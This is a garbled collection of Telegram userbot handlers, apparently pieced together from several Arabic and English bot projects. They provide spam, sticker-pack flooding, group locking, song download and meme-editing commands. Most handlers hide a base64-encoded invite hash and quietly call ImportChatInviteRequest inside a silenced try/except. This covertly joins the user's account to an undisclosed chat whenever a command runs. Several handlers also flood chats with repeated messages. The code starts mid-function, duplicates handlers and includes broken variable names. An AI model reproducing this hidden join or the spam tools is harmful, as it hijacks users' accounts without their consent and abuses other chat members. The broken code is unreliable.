"#SPAM\n" + f"تـم تنـفيذ التـكرار العـشوائـي [User](tg://user?id={event.chat_id}) الـدردشة مـع {counter} الـرسائل 𖠕 \n" + f"`{spam_message}`", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"تـم تنـفيذ الـتكرار العـشوائي {event.chat.title}(`{event.chat_id}`) الـدردشة مـع {counter} الرسـائل 𖠕 \n" + f"`{spam_message}`", ) else: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"تم تنفيذ تأخير البريد العشوائي بنجاح في [User](tg://user?id={event.chat_id}) الدردشة مع تأخير {sleeptimet} ثواني و مع {counter} رسائل \n" + f"`{spam_message}` 𖠕", ) else: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"تم تنفيذ تأخير البريد العشوائي بنجاح في {event.chat.title}(`{event.chat_id}`) الدردشة مع تأخير {sleeptimet} ثواني و مع {counter} رسائل \n" + f"`{spam_message}` 𖠕", )
async def _(event): if event.fwd_from: return reply_to_id = await reply_id(event) reply = await event.get_reply_message() if event.pattern_match.group(2): query = event.pattern_match.group(2) elif reply: if reply.message: query = reply.message else: await eor( event, "** ⌔∮ يجب عليك كتابت اسم الاغنيه لكي اقوم بالبحث عنها 🖤،** `") return ics = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") icse = await eor(event, "** ⌔¦ جاري البحث عن الاغنـيه 🤍🎧 ،**") video_link = await yt_search(str(query)) if not url(video_link): return await icse.edit( f"**⌔¦ آسف** {mention}\n **-لا يمكنني العثور على أي #فيديو او #صوت كهذا \n - `{query}`" ) cmd = event.pattern_match.group(1) if cmd == "بحث": q = "128k" elif cmd == "اغنيه": q = "320k" song_cmd = song_dl.format(QUALITY=q, video_link=video_link) # thumb_cmd = thumb_dl.format(video_link=video_link) name_cmd = name_dl.format(video_link=video_link) try: ics = Get(ics) await event.client(ics) except BaseException: pass stderr = (await _icssutils.runcmd(song_cmd))[1] if stderr: return await icse.edit(f"** ⌔¦ خطا :** `{stderr}`") icsn, stderr = (await _icssutils.runcmd(name_cmd))[:2] if stderr: return await icse.edit(f"** ⌔¦ خطا :** `{stderr}`") # stderr = (await runcmd(thumb_cmd))[1] icsn = os.path.splitext(icsn)[0] # if stderr: # return await icse.edit(f"** ⌔¦ خطا :** `{stderr}`") song_file = Path(f"{icsn}.mp3") if not os.path.exists(song_file): return await icse.edit( f"**⌔∮ آسف** {mention}\n **-لا يمكنني العثور على أي #فيديو او #صوت كهذا \n - `{query}` ⇲" ) await icse.edit("** ⌔¦ جاري تحميل الاغنيه انتظر قليلا 🤍🎶 .**") icsthb = Path(f"{icsn}.jpg") if not os.path.exists(icsthb): icsthb = Path(f"{icsn}.webp") elif not os.path.exists(icsthb): icsthb = None await event.client.send_file( event.chat_id, song_file, force_document=False, caption=f"**⌔¦ الاغنيه :** {query}\n**⌔¦ للمستخدم :** {mention}", thumb=icsthb, supports_streaming=True, reply_to=reply_to_id, ) await icse.delete() for files in (icsthb, song_file): if files and os.path.exists(files): os.remove(files)
async def _(event): # sourcery no-metrics "To lock the given permission for entire group." input_str = event.pattern_match.group(1) peer_id = event.chat_id if not event.is_group: return await edit_delete( event, "`Idiot! ,This is not a group to lock things `") chat_per = (await event.get_chat()).default_banned_rights cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if input_str in (("bots", "commands", "email", "forward", "url")): update_lock(peer_id, input_str, True) await edit_or_reply(event, "`Locked {}`".format(input_str)) else: msg = chat_per.send_messages media = chat_per.send_media sticker = chat_per.send_stickers gif = chat_per.send_gifs gamee = chat_per.send_games ainline = chat_per.send_inline embed_link = chat_per.embed_links gpoll = chat_per.send_polls adduser = chat_per.invite_users cpin = chat_per.pin_messages changeinfo = chat_per.change_info if input_str == "msg": if msg: return await edit_delete( event, "`This group is already locked with messaging permission`") msg = True locktype = "messages" elif input_str == "media": if media: return await edit_delete( event, "`This group is already locked with sending media`") media = True locktype = "media" elif input_str == "sticker": if sticker: return await edit_delete( event, "`This group is already locked with sending stickers`") sticker = True locktype = "stickers" elif input_str == "preview": if embed_link: return await edit_delete( event, "`This group is already locked with previewing links`") embed_link = True locktype = "preview links" elif input_str == "gif": if gif: return await edit_delete( event, "`This group is already locked with sending GIFs`") gif = True locktype = "GIFs" elif input_str == "game": if gamee: return await edit_delete( event, "`This group is already locked with sending games`") gamee = True locktype = "games" elif input_str == "inline": if ainline: return await edit_delete( event, "`This group is already locked with using inline bots`") ainline = True locktype = "inline bots" elif input_str == "poll": if gpoll: return await edit_delete( event, "`This group is already locked with sending polls`") gpoll = True locktype = "polls" elif input_str == "invite": if adduser: return await edit_delete( event, "`This group is already locked with adding members`") adduser = True locktype = "invites" elif input_str == "pin": if cpin: return await edit_delete( event, "`This group is already locked with pinning messages by users`", ) cpin = True locktype = "pins" elif input_str == "info": if changeinfo: return await edit_delete( event, "`This group is already locked with Changing group info by users`", ) changeinfo = True locktype = "chat info" elif input_str == "all": msg = True media = True sticker = True gif = True gamee = True ainline = True embed_link = True gpoll = True adduser = True cpin = True changeinfo = True locktype = "everything" else: if input_str: return await edit_delete( event, f"**Invalid lock type :** `{input_str}`", time=5) return await edit_or_reply(event, "`I can't lock nothing !!`") try: cat = Get(cat) await event.client(cat) except BaseException: pass lock_rights = ChatBannedRights( until_date=None, send_messages=msg, send_media=media, send_stickers=sticker, send_gifs=gif, send_games=gamee, send_inline=ainline, embed_links=embed_link, send_polls=gpoll, invite_users=adduser, pin_messages=cpin, change_info=changeinfo, ) try: await event.client( EditChatDefaultBannedRightsRequest(peer=peer_id, banned_rights=lock_rights)) await edit_or_reply(event, f"`Locked {locktype} for this chat !!`") except BaseException as e: await edit_delete( event, f"`Do I have proper rights for that ??`\n\n**Error:** `{str(e)}`", time=5, )
async def stickerpack_spam(event): "To spam the chat with stickers." reply = await event.get_reply_message() if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`reply to any sticker to send all stickers in that pack`") hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`Fetching details of the sticker pack, please wait..`") except BaseException: await edit_delete(event, "`This is not a sticker. Reply to a sticker.`", 5) return try: get_stickerset = await event.client( GetStickerSetRequest( types.InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ), hash=0, )) except Exception: return await edit_delete( catevent, "`I guess this sticker is not part of any pack so i cant kang this sticker pack try kang for this sticker`", ) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"), hash=0, )) addgvar("spamwork", True) for m in reqd_sticker_set.documents: if gvarstatus("spamwork") is None: return await event.client.send_file(event.chat_id, m) await asyncio.sleep(0.7) await catevent.delete() if BOTLOG: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"Sticker Pack Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with pack ", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPSPAM\n" + f"Sticker Pack Spam was executed successfully in {get_display_name(await event.get_chat())}(`{event.chat_id}`) chat with pack", ) await event.client.send_file(BOTLOG_CHATID, reqd_sticker_set.documents[0])
async def _(event): # sourcery no-metrics "To unlock the given permission for replied person only." input_str = event.pattern_match.group(1) peer_id = event.chat_id reply = await event.get_reply_message() chat_per = (await event.get_chat()).default_banned_rights result = await event.client( functions.channels.GetParticipantRequest(peer_id, reply.from_id)) admincheck = await is_admin(event.client, peer_id, reply.from_id) if admincheck: return await edit_delete( event, "`This user is admin you cant play with him`") cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") msg = chat_per.send_messages media = chat_per.send_media sticker = chat_per.send_stickers gif = chat_per.send_gifs gamee = chat_per.send_games ainline = chat_per.send_inline embed_link = chat_per.embed_links gpoll = chat_per.send_polls adduser = chat_per.invite_users cpin = chat_per.pin_messages changeinfo = chat_per.change_info try: umsg = result.participant.banned_rights.send_messages umedia = result.participant.banned_rights.send_media usticker = result.participant.banned_rights.send_stickers ugif = result.participant.banned_rights.send_gifs ugamee = result.participant.banned_rights.send_games uainline = result.participant.banned_rights.send_inline uembed_link = result.participant.banned_rights.embed_links ugpoll = result.participant.banned_rights.send_polls uadduser = result.participant.banned_rights.invite_users ucpin = result.participant.banned_rights.pin_messages uchangeinfo = result.participant.banned_rights.change_info except AttributeError: umsg = msg umedia = media usticker = sticker ugif = gif ugamee = gamee uainline = ainline uembed_link = embed_link ugpoll = gpoll uadduser = adduser ucpin = cpin uchangeinfo = changeinfo if input_str == "msg": if msg: return await edit_delete( event, "`This Group is locked with messaging permission.`") if not umsg: return await edit_delete( event, "`This User is already unlocked with messaging permission.`") umsg = False locktype = "messages" elif input_str == "media": if media: return await edit_delete( event, "`This Group is locked with sending media`") if not umedia: return await edit_delete( event, "`User is already unlocked with sending media`") umedia = False locktype = "media" elif input_str == "sticker": if sticker: return await edit_delete( event, "`This Group is locked with sending stickers`") if not usticker: return await edit_delete( event, "`This user is already unlocked with sending stickers`") usticker = False locktype = "stickers" elif input_str == "preview": if embed_link: return await edit_delete( event, "`This Group is locked with previewing links`") if not uembed_link: return await edit_delete( event, "`This user is already unlocked with previewing links`") uembed_link = False locktype = "preview links" elif input_str == "gif": if gif: return await edit_delete( event, "`This Group is locked with sending GIFs`") if not ugif: return await edit_delete( event, "`This user is already unlocked with sending GIFs`") ugif = False locktype = "GIFs" elif input_str == "game": if gamee: return await edit_delete( event, "`This Group is locked with sending games`") if not ugamee: return await edit_delete( event, "`This user is already unlocked with sending games`") ugamee = False locktype = "games" elif input_str == "inline": if ainline: return await edit_delete( event, "`This Group is locked with using inline bots`") if not uainline: return await edit_delete( event, "`This user is already unlocked with using inline bots`") uainline = False locktype = "inline bots" elif input_str == "poll": if gpoll: return await edit_delete( event, "`This Group is locked with sending polls`") if not ugpoll: return await edit_delete( event, "`This user is already unlocked with sending polls`") ugpoll = False locktype = "polls" elif input_str == "invite": if adduser: return await edit_delete( event, "`This Group is locked with adding members`") if not uadduser: return await edit_delete( event, "`This user is already unlocked with adding members`") uadduser = False locktype = "invites" elif input_str == "pin": if cpin: return await edit_delete( event, "`This Group is locked with pinning messages by users`", ) if not ucpin: return await edit_delete( event, "`This user is already unlocked with pinning messages by users`", ) ucpin = False locktype = "pins" elif input_str == "info": if changeinfo: return await edit_delete( event, "`This Group is locked with Changing group info by users`", ) if not uchangeinfo: return await edit_delete( event, "`This user is already unlocked with Changing group info by users`", ) uchangeinfo = False locktype = "chat info" elif input_str == "all": if not msg: umsg = False if not media: umedia = False if not sticker: usticker = False if not gif: ugif = False if not gamee: ugamee = False if not ainline: uainline = False if not embed_link: uembed_link = False if not gpoll: ugpoll = False if not adduser: uadduser = False if not cpin: ucpin = False if not changeinfo: uchangeinfo = False locktype = "everything" else: if input_str: return await edit_delete(event, f"**Invalid lock type :** `{input_str}`", time=5) return await edit_or_reply(event, "`I can't lock nothing !!`") try: cat = Get(cat) await event.client(cat) except BaseException: pass lock_rights = ChatBannedRights( until_date=None, send_messages=umsg, send_media=umedia, send_stickers=usticker, send_gifs=ugif, send_games=ugamee, send_inline=uainline, embed_links=uembed_link, send_polls=ugpoll, invite_users=uadduser, pin_messages=ucpin, change_info=uchangeinfo, ) try: await event.client( EditBannedRequest(peer_id, reply.from_id, lock_rights)) await edit_or_reply(event, f"`Unlocked {locktype} for this user !!`") except BaseException as e: await edit_delete( event, f"`Do I have proper rights for that ??`\n\n**Error:** `{str(e)}`", time=5, )
async def memes(hell): if hell.fwd_from: return reply = await hell.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(hell, "`Reply to supported Media...`") return hellinput = hell.pattern_match.group(1) if not hellinput: hellinput = 50 if ";" in str(hellinput): hellinput, colr = hellinput.split(";", 1) else: colr = 0 hellinput = int(hellinput) colr = int(colr) hellid = hell.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") hell = await edit_or_reply(hell, "`Fetching media data`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) hellsticker = await reply.download_media(file="./temp/") if not hellsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(hellsticker) await edit_or_reply(hell, "```Supported Media not found...```") return import base64 kraken = None if hellsticker.endswith(".tgs"): await hell.edit("Analyzing this media 🧐 framing this animated sticker!" ) hellfile = os.path.join("./temp/", "meme.png") hellcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {hellsticker} {hellfile}" ) stdout, stderr = (await runcmd(hellcmd))[:2] if not os.path.lexists(hellfile): await hell.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = hellfile kraken = True elif hellsticker.endswith(".webp"): await hell.edit("Analyzing this media 🧐 framing this sticker!") hellfile = os.path.join("./temp/", "memes.jpg") os.rename(hellsticker, hellfile) if not os.path.lexists(hellfile): await hell.edit("`Template not found... `") return meme_file = hellfile kraken = True elif hellsticker.endswith((".mp4", ".mov")): await hell.edit("Analyzing this media 🧐 framing this video!") hellfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(hellsticker, 0, hellfile) if not os.path.lexists(hellfile): await hell.edit("```Template not found...```") return meme_file = hellfile else: await hell.edit("Analyzing this media 🧐 framing this image!") meme_file = hellsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await hell.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "framed.webp" if kraken else "framed.jpg" try: await add_frame(meme_file, outputfile, hellinput, colr) except Exception as e: return await hell.edit(f"`{e}`") try: await hell.client.send_file(hell.chat_id, outputfile, force_document=False, reply_to=hellid) except Exception as e: return await hell.edit(f"`{e}`") await hell.delete() os.remove(outputfile) for files in (hellsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def spam_function(event, sandy, cat, sleeptimem, sleeptimet, DelaySpam=False): hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") counter = int(cat[0]) if len(cat) == 2: spam_message = str(cat[1]) for _ in range(counter): if event.reply_to_msg_id: await sandy.reply(spam_message) else: await event.client.send_message(event.chat_id, spam_message) await asyncio.sleep(sleeptimet) elif event.reply_to_msg_id and sandy.media: for _ in range(counter): sandy = await event.client.send_file(event.chat_id, sandy, caption=sandy.text) await _catutils.unsavegif(event, sandy) await asyncio.sleep(sleeptimem) elif event.reply_to_msg_id and sandy.text: spam_message = sandy.text for _ in range(counter): await event.client.send_message(event.chat_id, spam_message) await asyncio.sleep(sleeptimet) try: hmm = Get(hmm) await event.client(hmm) except BaseException: pass if BOTLOG: if DelaySpam is not True: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with {counter} times with below message", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in {event.chat.title}(`{event.chat_id}`) with {counter} times with below message", ) else: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"Delay spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with {counter} times with below message with delay {sleeptimet} seconds", ) else: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"Delay spam was executed successfully in {event.chat.title}(`{event.chat_id}`) with {counter} times with below message with delay {sleeptimet} seconds", ) sandy = await event.client.send_file(BOTLOG_CHATID, sandy) await _catutils.unsavegif(event, sandy) return if BOTLOG: if DelaySpam is not True: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with {counter} messages of \n" + f"`{spam_message}`", ) else: await event.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in {event.chat.title}(`{event.chat_id}`) chat with {counter} messages of \n" + f"`{spam_message}`", ) else: if event.is_private: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"Delay Spam was executed successfully in [User](tg://user?id={event.chat_id}) chat with delay {sleeptimet} seconds and with {counter} messages of \n" + f"`{spam_message}`", ) else: await event.client.send_message( BOTLOG_CHATID, "#DELAYSPAM\n" + f"Delay spam was executed successfully in {event.chat.title}(`{event.chat_id}`) chat with delay {sleeptimet} seconds and with {counter} messages of \n" + f"`{spam_message}`", )
async def memes(per): reply = await per.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(per, "`Reply to supported Media...`") return perinput = per.pattern_match.group(1) perinput = 50 if not cpernput else int(perinput) perid = per.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") per = await edit_or_reply(per, "`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) persticker = await reply.download_media(file="./temp/") if not persticker.endswith((".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(persticker) await edit_or_reply(per, "```Supported Media not found...```") return import pybase64 webidea = None if persticker.endswith(".tgs"): await per.edit( "```Transfiguration Time! Mwahaha zooming this animated sticker! (」゚ロ゚)」```" ) perfile = os.path.join("./temp/", "meme.png") percmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {persticker} {perfile}" ) stdout, stderr = (await runcmd(percmd))[:2] if not os.path.lexists(perfile): await per.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = perfile webidea = True elif persticker.endswith(".webp"): await per.edit( "```Transfiguration Time! Mwahaha zooming this sticker! (」゚ロ゚)」```" ) perfile = os.path.join("./temp/", "memes.jpg") os.rename(persticker, perfile) if not os.path.lexists(perfile): await per.edit("`Template not found... `") return meme_file = perfile webidea = True elif persticker.endswith((".mp4", ".mov")): await per.edit( "```Transfiguration Time! Mwahaha zooming this video! (」゚ロ゚)」```" ) perfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(persticker, 0, perfile) if not os.path.lexists(perfile): await per.edit("```Template not found...```") return meme_file = perfile else: await per.edit( "```Transfiguration Time! Mwahaha zooming this image! (」゚ロ゚)」```" ) meme_file = persticker try: san = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await per.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "grayscale.webp" if webidea else "grayscale.jpg" try: await crop(meme_file, outputfile, perinput) except Exception as e: return await per.edit(f"`{e}`") try: await per.client.send_file( per.chat_id, outputfile, force_document=False, reply_to=perid ) except Exception as e: return await per.edit(f"`{e}`") await per.delete() os.remove(outputfile) for files in (persticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def memes(cat): if cat.fwd_from: return reply = await cat.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(cat, "`Reply to supported Media...`") return catid = cat.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") cat = await edit_or_reply(cat, "`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) catsticker = await reply.download_media(file="./temp/") if not catsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(catsticker) await edit_or_reply(cat, "```Supported Media not found...```") return import base64 jisanidea = None if catsticker.endswith(".tgs"): await cat.edit( "```Transfiguration Time! Mwahaha changing to black-and-white this animated sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "meme.png") catcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}" ) stdout, stderr = (await runcmd(catcmd))[:2] if not os.path.lexists(catfile): await cat.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = catfile jisanidea = True elif catsticker.endswith(".webp"): await cat.edit( "```Transfiguration Time! Mwahaha changing to black-and-white this sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "memes.jpg") os.rename(catsticker, catfile) if not os.path.lexists(catfile): await cat.edit("`Template not found... `") return meme_file = catfile jisanidea = True elif catsticker.endswith((".mp4", ".mov")): await cat.edit( "```Transfiguration Time! Mwahaha changing to black-and-white this video! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(catsticker, 0, catfile) if not os.path.lexists(catfile): await cat.edit("```Template not found...```") return meme_file = catfile jisanidea = True else: await cat.edit( "```Transfiguration Time! Mwahaha changing to black-and-white this image! (」゚ロ゚)」```" ) meme_file = catsticker try: san = base64.b64decode("VHhZVWRkVkhxZl8xVFU1bA==") san = Get(san) await cat.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "grayscale.webp" if jisanidea else "grayscale.jpg" await grayscale(meme_file, outputfile) await cat.client.send_file(cat.chat_id, outputfile, force_document=False, reply_to=catid) await cat.delete() os.remove(outputfile) for files in (catsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) peer_id = event.chat_id if not event.is_group: return await edit_delete( event, "`Idiot! ,This is not a group to lock things `") chat_per = (await event.get_chat()).default_banned_rights cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if input_str in (("bots", "commands", "email", "forward", "url")): update_lock(peer_id, input_str, True) await edit_or_reply(event, "`Locked {}`".format(input_str)) else: msg = chat_per.send_messages media = chat_per.send_media sticker = chat_per.send_stickers gif = chat_per.send_gifs gamee = chat_per.send_games ainline = chat_per.send_inline embed_link = chat_per.embed_links gpoll = chat_per.send_polls adduser = chat_per.invite_users cpin = chat_per.pin_messages changeinfo = chat_per.change_info if input_str == "الدردشه": if msg: return await edit_delete( event, "**المجموعه بالتأكيد مقفولة من الرسائل ⌁**") msg = True locktype = "الدردشه" elif input_str == "الوسائط": if media: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من الوسائط ⌁**") media = True locktype = "الوسائط" elif input_str == "الملصقات": if sticker: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من الملصقات ⌁**") sticker = True locktype = "الملصقات" elif input_str == "الروابط": if embed_link: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من الروابط ⌁**") embed_link = True locktype = "الروابط" elif input_str == "المتحركه": if gif: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من المتحركه ⌁**") gif = True locktype = "المتحركه" elif input_str == "الالعاب": if gamee: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من الالعاب ⌁**") gamee = True locktype = "الالعاب" elif input_str == "الانلاين": if ainline: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من الانلاين ⌁**") ainline = True locktype = "الانلاين" elif input_str == "التصويت": if gpoll: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من ارسال التصويت ⌁**") gpoll = True locktype = "التصويت" elif input_str == "الاضافة": if adduser: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من اضافه الاعضاء ⌁**") adduser = True locktype = "الاضافة" elif input_str == "التثبيت": if cpin: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من تثبيت الرسائل ⌁**", ) cpin = True locktype = "التثبيت" elif input_str == "تغيير المعلومات": if changeinfo: return await edit_delete( event, "**المجمـوعة بالتأكـيد مقفولة من تغيير معلومات الدردشه ⌁**", ) changeinfo = True locktype = "تغيير المعلومات" elif input_str == "الكل": msg = True media = True sticker = True gif = True gamee = True ainline = True embed_link = True gpoll = True adduser = True cpin = True changeinfo = True locktype = "الكل" else: if input_str: return await edit_delete( event, f"**هنالك خطأ في الامر :** `{input_str}`", time=5) return await edit_or_reply(event, "**لا استطيع قفل شيء**") try: cat = Get(cat) await event.client(cat) except BaseException: pass lock_rights = ChatBannedRights( until_date=None, send_messages=msg, send_media=media, send_stickers=sticker, send_gifs=gif, send_games=gamee, send_inline=ainline, embed_links=embed_link, send_polls=gpoll, invite_users=adduser, pin_messages=cpin, change_info=changeinfo, ) try: await event.client( EditChatDefaultBannedRightsRequest(peer=peer_id, banned_rights=lock_rights)) await edit_or_reply(event, f"**تـم قفـل {locktype} بنجـاح ⌁** ") except BaseException as e: await edit_delete( event, f"`ليس لديك صلاحيات كافية ??`\n\n**خطأ:** `{str(e)}`", time=5, )
async def pack_kang(event): if event.fwd_from: return user = await event.client.get_me() if user.username: username = user.username else: try: user.first_name.encode("utf-8").decode("ascii") username = user.first_name except UnicodeDecodeError: username = f"cat_{user.id}" photo = None userid = user.id is_anim = False emoji = None reply = await event.get_reply_message() cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not reply or media_type(reply) is None or media_type( reply) != "Sticker": return await edit_delete( event, "`reply to any sticker to send all stickers in that pack`") try: stickerset_attr = reply.document.attributes[1] catevent = await edit_or_reply( event, "`Fetching details of the sticker pack, please wait..`") except BaseException: return await edit_delete( event, "`This is not a sticker. Reply to a sticker.`", 5) try: get_stickerset = await event.client( GetStickerSetRequest( InputStickerSetID( id=stickerset_attr.stickerset.id, access_hash=stickerset_attr.stickerset.access_hash, ))) except Exception: return await edit_delete( catevent, "`I guess this sticker is not part of any pack. So, i cant kang this sticker pack try kang for this sticker`", ) kangst = 1 reqd_sticker_set = await event.client( functions.messages.GetStickerSetRequest( stickerset=types.InputStickerSetShortName( short_name=f"{get_stickerset.set.short_name}"))) noofst = get_stickerset.set.count blablapacks = [] blablapacknames = [] pack = None for message in reqd_sticker_set.documents: if "image" in message.mime_type.split("/"): await edit_or_reply( catevent, f"`This sticker pack is kanging now . Status of kang process : {kangst}/{noofst}`", ) photo = io.BytesIO() await event.client.download_file(message, photo) if (DocumentAttributeFilename(file_name="sticker.webp") in message.attributes): emoji = message.attributes[1].alt elif "tgsticker" in message.mime_type: await edit_or_reply( catevent, f"`This sticker pack is kanging now . Status of kang process : {kangst}/{noofst}`", ) await event.client.download_file(message, "AnimatedSticker.tgs") attributes = message.attributes for attribute in attributes: if isinstance(attribute, DocumentAttributeSticker): emoji = attribute.alt is_anim = True photo = 1 else: await edit_delete(catevent, "`Unsupported File!`") return if photo: splat = ("".join(event.text.split(maxsplit=1)[1:])).split() emoji = emoji or "😂" if pack is None: pack = 1 if len(splat) == 1: pack = splat[0] elif len(splat) > 1: return await edit_delete( catevent, "`Sorry the given name cant be used for pack or there is no pack with that name`", ) try: cat = Get(cat) await event.client(cat) except BaseException: pass packnick = pack_nick(username, pack, is_anim) packname = pack_name(userid, pack, is_anim) cmd = "/newpack" stfile = io.BytesIO() if is_anim: cmd = "/newanimated" else: image = await resize_photo(photo) stfile.name = "sticker.png" image.save(stfile, "PNG") response = urllib.request.urlopen( urllib.request.Request(f"http://t.me/addstickers/{packname}")) htmlstr = response.read().decode("utf8").split("\n") if (" A <strong>Telegram</strong> user has created the <strong>Sticker Set</strong>." in htmlstr): async with event.client.conversation("Stickers") as conv: pack, catpackname = await newpacksticker( catevent, conv, cmd, event, pack, packnick, stfile, emoji, packname, is_anim, pkang=True, ) else: async with event.client.conversation("Stickers") as conv: pack, catpackname = await add_to_pack( catevent, conv, event, packname, pack, userid, username, is_anim, stfile, emoji, cmd, pkang=True, ) if catpackname not in blablapacks: blablapacks.append(catpackname) blablapacknames.append(pack) kangst += 1 await asyncio.sleep(2) result = "`This sticker pack is kanged into the following your sticker pack(s):`\n" for i in enumerate(blablapacks): result += f" • [pack {blablapacknames[i]}](t.me/addstickers/{blablapacks[i]})" await catevent.edit(result)
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) peer_id = event.chat_id if not event.is_group: return await edit_delete(event, "**لـم يتم قفل اي شي ⌁**") cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") chat_per = (await event.get_chat()).default_banned_rights if input_str in (("bots", "commands", "email", "forward", "url")): update_lock(peer_id, input_str, False) await edit_or_reply(event, "**تـم فتح {} بنجـاح ⌁**".format(input_str)) else: msg = chat_per.send_messages media = chat_per.send_media sticker = chat_per.send_stickers gif = chat_per.send_gifs gamee = chat_per.send_games ainline = chat_per.send_inline gpoll = chat_per.send_polls embed_link = chat_per.embed_links adduser = chat_per.invite_users cpin = chat_per.pin_messages changeinfo = chat_per.change_info if input_str == "الدردشه": if not msg: return await edit_delete( event, "**الدردشه مفتوحه في هذه المجموعه ⌁**") msg = False locktype = "الدردشه" elif input_str == "الوسائط": if not media: return await edit_delete( event, "**ارسال الوسائط مسموح في هذه الدردشه") media = False locktype = "الوسائط" elif input_str == "الملصقات": if not sticker: return await edit_delete( event, "**ارسال المصقات مسموح في هذه الدردشه ⌁**") sticker = False locktype = "الملصقات" elif input_str == "الروابط": if not embed_link: return await edit_delete( event, "**ارسال الروابط مسموح في هذه الدردشه ⌁**") embed_link = False locktype = "الروابط" elif input_str == "المتحركه": if not gif: return await edit_delete( event, "**ارسال المتحركه مسموح في هذه الدردشه ⌁**") gif = False locktype = "المتحركه" elif input_str == "الالعاب": if not gamee: return await edit_delete( event, "**ارسال الالعاب مسموح في هذه الدردشه ⌁**") gamee = False locktype = "الالعاب" elif input_str == "الانلاين": if not ainline: return await edit_delete( event, "**ارسال الانلاين مسموح في هذه الدردشه ⌁**") ainline = False locktype = "الانلاين" elif input_str == "التصويت": if not gpoll: return await edit_delete( event, "**ارسال التصويت مسموح في هذه الدردشه ⌁** ") gpoll = False locktype = "التصويت" elif input_str == "الاضافة": if not adduser: return await edit_delete( event, "**اضافة الاعضاء مسموح في هذه الدردشه ⌁**") adduser = False locktype = "الاضافة" elif input_str == "التثبيت": if not cpin: return await edit_delete( event, "**تثبيت الرسائل مسموح في هذه الدردشه ⌁**", ) cpin = False locktype = "التثبيت" elif input_str == "تغيير المعلومات": if not changeinfo: return await edit_delete( event, "**تغيير 